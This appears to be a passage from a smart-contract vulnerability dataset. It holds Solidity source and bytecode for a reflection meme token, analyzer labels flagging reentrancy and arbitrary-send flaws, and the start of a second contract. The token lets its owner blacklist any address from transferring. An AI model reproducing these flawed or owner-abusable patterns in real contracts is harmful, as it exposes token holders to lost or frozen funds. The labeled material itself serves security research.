uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000* 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTx(uint256 maxTx) external onlyOwner() {
require(maxTx > 0, "Amount must be greater than 0");
_maxTxAmount = maxTx;
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063bc3371821461038d578063c3c8cd80146103b6578063c9567bf9146103cd578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d9a565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128e0565b61045e565b6040516101789190612d7f565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f1c565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612891565b61048d565b6040516101e09190612d7f565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612803565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190612f91565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061295d565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612803565b610783565b6040516102b19190612f1c565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612cb1565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612d9a565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128e0565b61098d565b60405161035b9190612d7f565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061291c565b6109ab565b005b34801561039957600080fd5b506103b460048036038101906103af91906129af565b610afb565b005b3480156103c257600080fd5b506103cb610c16565b005b3480156103d957600080fd5b506103e2610c90565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612855565b6111ec565b6040516104189190612f1c565b60405180910390f35b60606040518060400160405280600881526020017f4c65616661496e75000000000000000000000000000000000000000000000000815250905090565b600061047261046b611273565b848461127b565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611446565b61055b846104a6611273565b6105568560405180606001604052806028815260200161362c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c611273565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611afe9092919063ffffffff16565b61127b565b600190509392505050565b61056e611273565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612e7c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610667611273565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612e7c565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610752611273565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611b62565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5d565b9050919050565b6107dc611273565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612e7c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4c65616661000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a611273565b8484611446565b6001905092915050565b6109b3611273565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612e7c565b60405180910390fd5b60005b8151811015610af757600160066000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613232565b915050610a43565b5050565b610b03611273565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8790612e7c565b60405180910390fd5b60008111610bd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bca90612e3c565b60405180910390fd5b806012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601254604051610c0b9190612f1c565b60405180910390a150565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c57611273565b73ffffffffffffffffffffffffffffffffffffffff1614610c7757600080fd5b6000610c8230610783565b9050610c8d81611ccb565b50565b610c98611273565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1c90612e7c565b60405180910390fd5b601160149054906101000a900460ff1615610d75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6c90612efc565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e0530601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061127b565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e4b57600080fd5b505afa158015610e5f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e83919061282c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ee557600080fd5b505afa158015610ef9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1d919061282c565b6040518363ffffffff1660e01b8152600401610f3a929190612ccc565b602060405180830381600087803b158015610f5457600080fd5b505af1158015610f68573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f8c919061282c565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061101530610783565b600080611020610927565b426040518863ffffffff1660e01b815260040161104296959493929190612d1e565b6060604051808303818588803b15801561105b57600080fd5b505af115801561106f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061109491906129d8565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550678ac7230489e800006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611196929190612cf5565b602060405180830381600087803b1580156111b057600080fd5b505af11580156111c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111e89190612986565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e290612edc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561135b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135290612dfc565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114399190612f1c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ad90612ebc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611526576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151d90612dbc565b60405180910390fd5b60008111611569576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156090612e9c565b60405180910390fd5b6004600a819055506006600b81905550611581610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115ef57506115bf610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a3b57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116985750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116a157600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561174c5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117a25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117ba5750601160179054906101000a900460ff165b1561186a576012548111156117ce57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061181957600080fd5b605a426118269190613052565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119155750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561196b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611981576001600a819055506009600b819055505b600061198c30610783565b9050601160159054906101000a900460ff161580156119f95750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a115750601160169054906101000a900460ff165b15611a3957611a1f81611ccb565b60004790506000811115611a3757611a3647611b62565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611ae25750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611aec57600090505b611af884848484611fc5565b50505050565b6000838311158290611b46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3d9190612d9a565b60405180910390fd5b5060008385611b559190613133565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bb2600284611ff290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bdd573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c2e600284611ff290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c59573d6000803e3d6000fd5b5050565b6000600854821115611ca4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9b90612ddc565b60405180910390fd5b6000611cae61203c565b9050611cc38184611ff290919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d29577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d575781602001602082028036833780820191505090505b5090503081600081518110611d95577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e3757600080fd5b505afa158015611e4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e6f919061282c565b81600181518110611ea9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461127b565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f74959493929190612f37565b600060405180830381600087803b158015611f8e57600080fd5b505af1158015611fa2573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b80611fd357611fd2612067565b5b611fde8484846120aa565b80611fec57611feb612275565b5b50505050565b600061203483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612289565b905092915050565b60008060006120496122ec565b915091506120608183611ff290919063ffffffff16565b9250505090565b6000600a5414801561207b57506000600b54145b15612085576120a8565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806120bc8761234e565b95509550955095509550955061211a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121af85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121fb8161245e565b612205848361251b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122629190612f1c565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080831182906122d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122c79190612d9a565b60405180910390fd5b50600083856122df91906130a8565b9050809150509392505050565b600080600060085490506000683635c9adc5dea000009050612322683635c9adc5dea00000600854611ff290919063ffffffff16565b82101561234157600854683635c9adc5dea0000093509350505061234a565b81819350935050505b9091565b600080600080600080600080600061236b8a600a54600b54612555565b925092509250600061237b61203c565b9050600080600061238e8e8787876125eb565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006123f883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611afe565b905092915050565b600080828461240f9190613052565b905083811015612454576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244b90612e1c565b60405180910390fd5b8091505092915050565b600061246861203c565b9050600061247f828461267490919063ffffffff16565b90506124d381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612530826008546123b690919063ffffffff16565b60088190555061254b8160095461240090919063ffffffff16565b6009819055505050565b6000806000806125816064612573888a61267490919063ffffffff16565b611ff290919063ffffffff16565b905060006125ab606461259d888b61267490919063ffffffff16565b611ff290919063ffffffff16565b905060006125d4826125c6858c6123b690919063ffffffff16565b6123b690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612604858961267490919063ffffffff16565b9050600061261b868961267490919063ffffffff16565b90506000612632878961267490919063ffffffff16565b9050600061265b8261264d85876123b690919063ffffffff16565b6123b690919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561268757600090506126e9565b6000828461269591906130d9565b90508284826126a491906130a8565b146126e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126db90612e5c565b60405180910390fd5b809150505b92915050565b60006127026126fd84612fd1565b612fac565b9050808382526020820190508285602086028201111561272157600080fd5b60005b858110156127515781612737888261275b565b845260208401935060208301925050600181019050612724565b5050509392505050565b60008135905061276a816135e6565b92915050565b60008151905061277f816135e6565b92915050565b600082601f83011261279657600080fd5b81356127a68482602086016126ef565b91505092915050565b6000813590506127be816135fd565b92915050565b6000815190506127d3816135fd565b92915050565b6000813590506127e881613614565b92915050565b6000815190506127fd81613614565b92915050565b60006020828403121561281557600080fd5b60006128238482850161275b565b91505092915050565b60006020828403121561283e57600080fd5b600061284c84828501612770565b91505092915050565b6000806040838503121561286857600080fd5b60006128768582860161275b565b92505060206128878582860161275b565b9150509250929050565b6000806000606084860312156128a657600080fd5b60006128b48682870161275b565b93505060206128c58682870161275b565b92505060406128d6868287016127d9565b9150509250925092565b600080604083850312156128f357600080fd5b60006129018582860161275b565b9250506020612912858286016127d9565b9150509250929050565b60006020828403121561292e57600080fd5b600082013567ffffffffffffffff81111561294857600080fd5b61295484828501612785565b91505092915050565b60006020828403121561296f57600080fd5b600061297d848285016127af565b91505092915050565b60006020828403121561299857600080fd5b60006129a6848285016127c4565b91505092915050565b6000602082840312156129c157600080fd5b60006129cf848285016127d9565b91505092915050565b6000806000606084860312156129ed57600080fd5b60006129fb868287016127ee565b9350506020612a0c868287016127ee565b9250506040612a1d868287016127ee565b9150509250925092565b6000612a338383612a3f565b60208301905092915050565b612a4881613167565b82525050565b612a5781613167565b82525050565b6000612a688261300d565b612a728185613030565b9350612a7d83612ffd565b8060005b83811015612aae578151612a958882612a27565b9750612aa083613023565b925050600181019050612a81565b5085935050505092915050565b612ac481613179565b82525050565b612ad3816131bc565b82525050565b6000612ae482613018565b612aee8185613041565b9350612afe8185602086016131ce565b612b0781613308565b840191505092915050565b6000612b1f602383613041565b9150612b2a82613319565b604082019050919050565b6000612b42602a83613041565b9150612b4d82613368565b604082019050919050565b6000612b65602283613041565b9150612b70826133b7565b604082019050919050565b6000612b88601b83613041565b9150612b9382613406565b602082019050919050565b6000612bab601d83613041565b9150612bb68261342f565b602082019050919050565b6000612bce602183613041565b9150612bd982613458565b604082019050919050565b6000612bf1602083613041565b9150612bfc826134a7565b602082019050919050565b6000612c14602983613041565b9150612c1f826134d0565b604082019050919050565b6000612c37602583613041565b9150612c428261351f565b604082019050919050565b6000612c5a602483613041565b9150612c658261356e565b604082019050919050565b6000612c7d601783613041565b9150612c88826135bd565b602082019050919050565b612c9c816131a5565b82525050565b612cab816131af565b82525050565b6000602082019050612cc66000830184612a4e565b92915050565b6000604082019050612ce16000830185612a4e565b612cee6020830184612a4e565b9392505050565b6000604082019050612d0a6000830185612a4e565b612d176020830184612c93565b9392505050565b600060c082019050612d336000830189612a4e565b612d406020830188612c93565b612d4d6040830187612aca565b612d5a6060830186612aca565b612d676080830185612a4e565b612d7460a0830184612c93565b979650505050505050565b6000602082019050612d946000830184612abb565b92915050565b60006020820190508181036000830152612db48184612ad9565b905092915050565b60006020820190508181036000830152612dd581612b12565b9050919050565b60006020820190508181036000830152612df581612b35565b9050919050565b60006020820190508181036000830152612e1581612b58565b9050919050565b60006020820190508181036000830152612e3581612b7b565b9050919050565b60006020820190508181036000830152612e5581612b9e565b9050919050565b60006020820190508181036000830152612e7581612bc1565b9050919050565b60006020820190508181036000830152612e9581612be4565b9050919050565b60006020820190508181036000830152612eb581612c07565b9050919050565b60006020820190508181036000830152612ed581612c2a565b9050919050565b60006020820190508181036000830152612ef581612c4d565b9050919050565b60006020820190508181036000830152612f1581612c70565b9050919050565b6000602082019050612f316000830184612c93565b92915050565b600060a082019050612f4c6000830188612c93565b612f596020830187612aca565b8181036040830152612f6b8186612a5d565b9050612f7a6060830185612a4e565b612f876080830184612c93565b9695505050505050565b6000602082019050612fa66000830184612ca2565b92915050565b6000612fb6612fc7565b9050612fc28282613201565b919050565b6000604051905090565b600067ffffffffffffffff821115612fec57612feb6132d9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061305d826131a5565b9150613068836131a5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561309d5761309c61327b565b5b828201905092915050565b60006130b3826131a5565b91506130be836131a5565b9250826130ce576130cd6132aa565b5b828204905092915050565b60006130e4826131a5565b91506130ef836131a5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131285761312761327b565b5b828202905092915050565b600061313e826131a5565b9150613149836131a5565b92508282101561315c5761315b61327b565b5b828203905092915050565b600061317282613185565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131c7826131a5565b9050919050565b60005b838110156131ec5780820151818401526020810190506131d1565b838111156131fb576000848401525b50505050565b61320a82613308565b810181811067ffffffffffffffff82111715613229576132286132d9565b5b80604052505050565b600061323d826131a5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132705761326f61327b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6135ef81613167565b81146135fa57600080fd5b50565b61360681613179565b811461361157600080fd5b50565b61361d816131a5565b811461362857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220179b699caa28f6f5006e07119435a2745350fc3fee4a5b73abaff1aee48944a264736f6c63430008030033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 937 |
0x82adce3b6a226f9286af99841410b04a075b54d5 | pragma solidity ^0.4.13;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
